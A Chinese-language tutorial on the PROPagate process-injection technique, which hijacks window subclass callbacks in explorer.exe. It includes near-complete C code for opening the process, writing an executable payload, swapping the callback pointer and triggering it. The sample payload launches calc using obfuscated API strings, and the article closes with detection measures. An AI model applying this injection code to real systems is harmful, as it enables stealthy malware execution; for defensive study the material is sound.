Windows进程注入技术之PROPagate篇
字数 1125 2025-08-20 18:17:53

Windows进程注入技术之PROPagate详解

一、技术概述

PROPagate是一种新型的进程注入技术,由Hexacorn公司的安全研究人员Adam在2017年10月首次提出。该技术利用Windows窗口子类化机制,通过修改子类头部中的回调函数指针,实现在目标进程中执行任意代码的目的。

技术特点

  • 无需在远程进程中创建新线程
  • 利用合法的窗口消息机制触发代码执行
  • 主要针对使用子类化窗口的进程(如explorer.exe)
  • 已被Smoke Loader和RIG Exploit Kit等恶意软件采用

二、技术原理

1. 窗口子类化机制

Windows中的窗口子类化允许应用程序拦截和处理发送到特定窗口的消息。系统通过以下关键结构体实现这一机制:

typedef struct _SUBCLASS_CALL {
    SUBCLASSPROC pfnSubclass;  // 子类过程函数指针
    WPARAM uIdSubclass;       // 唯一子类标识符
    DWORD_PTR dwRefData;      // 可选引用数据
} SUBCLASS_CALL, *PSUBCLASS_CALL;

typedef struct _SUBCLASS_FRAME {
    UINT uCallIndex;          // 下一个要调用的回调索引
    UINT uDeepestCall;        // 堆栈上最深的uCallIndex
    struct _SUBCLASS_FRAME *pFramePrev; // 前一个子类帧指针
    struct _SUBCLASS_HEADER *pHeader;   // 关联的头部指针
} SUBCLASS_FRAME, *PSUBCLASS_FRAME;

typedef struct _SUBCLASS_HEADER {
    UINT uRefs;               // 子类计数
    UINT uAlloc;              // 分配的子类调用节点数
    UINT uCleanup;            // 要清理的调用节点索引
    DWORD dwThreadId;         // 挂钩窗口的线程ID
    SUBCLASS_FRAME *pFrameCur; // 当前子类帧指针
    SUBCLASS_CALL CallArray[1]; // 打包的调用节点数组基址
} SUBCLASS_HEADER, *PSUBCLASS_HEADER;

2. 注入流程

  1. 查找目标窗口及其子类头部
  2. 读取原始子类头部信息
  3. 在目标进程中分配内存并写入恶意代码
  4. 修改子类头部中的回调函数指针
  5. 通过窗口消息触发代码执行
  6. 恢复原始子类头部

三、技术实现

1. 枚举目标窗口

首先需要找到具有子类化窗口的目标进程,通常使用以下API:

EnumWindows/EnumDesktopWindows
EnumChildWindows
EnumProps/EnumPropsEx

具体实现步骤:

  1. 调用EnumWindows枚举顶层窗口
  2. 在回调函数EnumWindowsProc中调用EnumChildWindows
  3. 在回调函数EnumChildWindowsProc中调用EnumProps
  4. 检查属性列表中是否存在"UxSubclassInfo"或"CC32SubclassInfo"

2. 关键代码实现

窗口属性枚举回调

BOOL CALLBACK PropEnumProc(HWND hwnd, LPCTSTR lpszString, HANDLE hData) {
    WINPROPS wp;
    HANDLE hp;
    
    hp = GetProp(hwnd, L"UxSubclassInfo");
    if(hp == NULL)
        hp = GetProp(hwnd, L"CC32SubclassInfo");
    
    if(hp != NULL) {
        ZeroMemory(&wp, sizeof(wp));
        GetWindowThreadProcessId(hwnd, &wp.dwPid);
        wp.hProperty = hp;
        wp.hChildWnd = hwnd;
        wp.hParentWnd = GetParent(hwnd);
        GetClassName(wp.hParentWnd, wp.ParentClassName, MAX_PATH);
        GetClassName(hwnd, wp.ChildClassName, MAX_PATH);
        GetProcessImageName(wp.dwPid, wp.ImageName, MAX_PATH);
        
        if(!IsEntry(&wp)) {
            windows.push_back(wp);
        }
    }
    return TRUE;
}

完整的注入函数

VOID propagate(LPVOID payload, DWORD payloadSize) {
    HANDLE hp, p;
    DWORD id;
    HWND pwh, cwh;
    SUBCLASS_HEADER sh;
    LPVOID psh, pfnSubclass;
    SIZE_T rd, wr;
    
    // 1. 获取父窗口句柄
    pwh = FindWindow(L"Progman", NULL);
    
    // 2. 获取子窗口句柄
    cwh = FindWindowEx(pwh, NULL, L"SHELLDLL_DefView", NULL);
    
    // 3. 获取子类头部句柄
    p = GetProp(cwh, L"UxSubclassInfo");
    
    // 4. 获取explorer.exe的进程ID
    GetWindowThreadProcessId(cwh, &id);
    
    // 5. 打开explorer.exe进程
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
    
    // 6. 读取当前子类头部内容
    ReadProcessMemory(hp, (LPVOID)p, &sh, sizeof(sh), &rd);
    
    // 7. 分配内存用于新的子类头部
    psh = VirtualAllocEx(hp, NULL, sizeof(sh), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
    
    // 8. 分配内存用于payload
    pfnSubclass = VirtualAllocEx(hp, NULL, payloadSize, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    
    // 9. 写入payload到内存
    WriteProcessMemory(hp, pfnSubclass, payload, payloadSize, &wr);
    
    // 10. 修改回调函数指针并写回进程
    sh.CallArray[0].pfnSubclass = (SUBCLASSPROC)pfnSubclass;
    WriteProcessMemory(hp, psh, &sh, sizeof(sh), &wr);
    
    // 11. 使用SetProp更新子类过程
    SetProp(cwh, L"UxSubclassInfo", psh);
    
    // 12. 通过窗口消息触发payload
    PostMessage(cwh, WM_CLOSE, 0, 0);
    
    // 13. 恢复原始子类头部
    SetProp(cwh, L"UxSubclassInfo", p);
    
    // 14. 释放内存并关闭句柄
    VirtualFreeEx(hp, psh, 0, MEM_DECOMMIT|MEM_RELEASE);
    VirtualFreeEx(hp, pfnSubclass, 0, MEM_DECOMMIT|MEM_RELEASE);
    CloseHandle(hp);
}

3. Payload设计

Payload需要符合特定的函数原型:

typedef LRESULT (CALLBACK* SUBCLASSPROC)(
    HWND hWnd, 
    UINT uMsg, 
    WPARAM wParam, 
    LPARAM lParam, 
    UINT_PTR uIdSubclass, 
    DWORD_PTR dwRefData
);

示例payload(弹计算器):

LRESULT CALLBACK SubclassProc(
    HWND hWnd, 
    UINT uMsg, 
    WPARAM wParam, 
    LPARAM lParam, 
    UINT_PTR uIdSubclass, 
    DWORD_PTR dwRefData) 
{
    // 只处理WM_CLOSE消息,避免多次执行
    if(uMsg != WM_CLOSE) return 0;
    
    WinExec_t pWinExec;
    DWORD szWinExec[2], szCalc[2];
    
    // WinExec
    szWinExec[0] = 0x456E6957;  // "EniW"
    szWinExec[1] = 0x00636578;  // "cex\0"
    
    // calc
    szCalc[0] = 0x636C6163;     // "clac"
    szCalc[1] = 0;              // "\0"
    
    pWinExec = (WinExec_t)xGetProcAddress(szWinExec);
    if(pWinExec != NULL) {
        pWinExec((LPSTR)szCalc, SW_SHOW);
    }
    
    return 0;
}

四、技术优势

  1. 隐蔽性强:不创建新线程,减少被检测的风险
  2. 利用合法机制:使用Windows原生API和窗口消息机制
  3. 针对高权限进程:常针对explorer.exe等以中等完整性级别运行的进程
  4. 灵活性高:可以精确控制代码执行时机

五、防御措施

  1. 监控窗口属性修改:特别是"UxSubclassInfo"和"CC32SubclassInfo"属性的修改
  2. 检测异常窗口消息:监控非正常的WM_CLOSE等消息发送
  3. 进程行为分析:检测explorer.exe等系统进程的异常内存分配和代码执行
  4. API钩子:监控关键API如SetProp、VirtualAllocEx等的调用

六、总结

PROPagate注入技术展示了攻击者如何利用Windows的合法机制实现代码注入。这种技术因其隐蔽性和有效性,已被多个恶意软件家族采用。理解其工作原理对于开发有效的防御措施至关重要。安全研究人员和开发人员应关注此类技术,并在安全产品中实施相应的检测和防护机制。

Windows进程注入技术之PROPagate详解 一、技术概述 PROPagate是一种新型的进程注入技术,由Hexacorn公司的安全研究人员Adam在2017年10月首次提出。该技术利用Windows窗口子类化机制,通过修改子类头部中的回调函数指针,实现在目标进程中执行任意代码的目的。 技术特点 无需在远程进程中创建新线程 利用合法的窗口消息机制触发代码执行 主要针对使用子类化窗口的进程(如explorer.exe) 已被Smoke Loader和RIG Exploit Kit等恶意软件采用 二、技术原理 1. 窗口子类化机制 Windows中的窗口子类化允许应用程序拦截和处理发送到特定窗口的消息。系统通过以下关键结构体实现这一机制: 2. 注入流程 查找目标窗口及其子类头部 读取原始子类头部信息 在目标进程中分配内存并写入恶意代码 修改子类头部中的回调函数指针 通过窗口消息触发代码执行 恢复原始子类头部 三、技术实现 1. 枚举目标窗口 首先需要找到具有子类化窗口的目标进程,通常使用以下API: 具体实现步骤: 调用 EnumWindows 枚举顶层窗口 在回调函数 EnumWindowsProc 中调用 EnumChildWindows 在回调函数 EnumChildWindowsProc 中调用 EnumProps 检查属性列表中是否存在"UxSubclassInfo"或"CC32SubclassInfo" 2. 关键代码实现 窗口属性枚举回调 完整的注入函数 3. Payload设计 Payload需要符合特定的函数原型: 示例payload(弹计算器): 四、技术优势 隐蔽性强 :不创建新线程,减少被检测的风险 利用合法机制 :使用Windows原生API和窗口消息机制 针对高权限进程 :常针对explorer.exe等以中等完整性级别运行的进程 灵活性高 :可以精确控制代码执行时机 五、防御措施 监控窗口属性修改 :特别是"UxSubclassInfo"和"CC32SubclassInfo"属性的修改 检测异常窗口消息 :监控非正常的WM_ CLOSE等消息发送 进程行为分析 :检测explorer.exe等系统进程的异常内存分配和代码执行 API钩子 :监控关键API如SetProp、VirtualAllocEx等的调用 六、总结 PROPagate注入技术展示了攻击者如何利用Windows的合法机制实现代码注入。这种技术因其隐蔽性和有效性,已被多个恶意软件家族采用。理解其工作原理对于开发有效的防御措施至关重要。安全研究人员和开发人员应关注此类技术,并在安全产品中实施相应的检测和防护机制。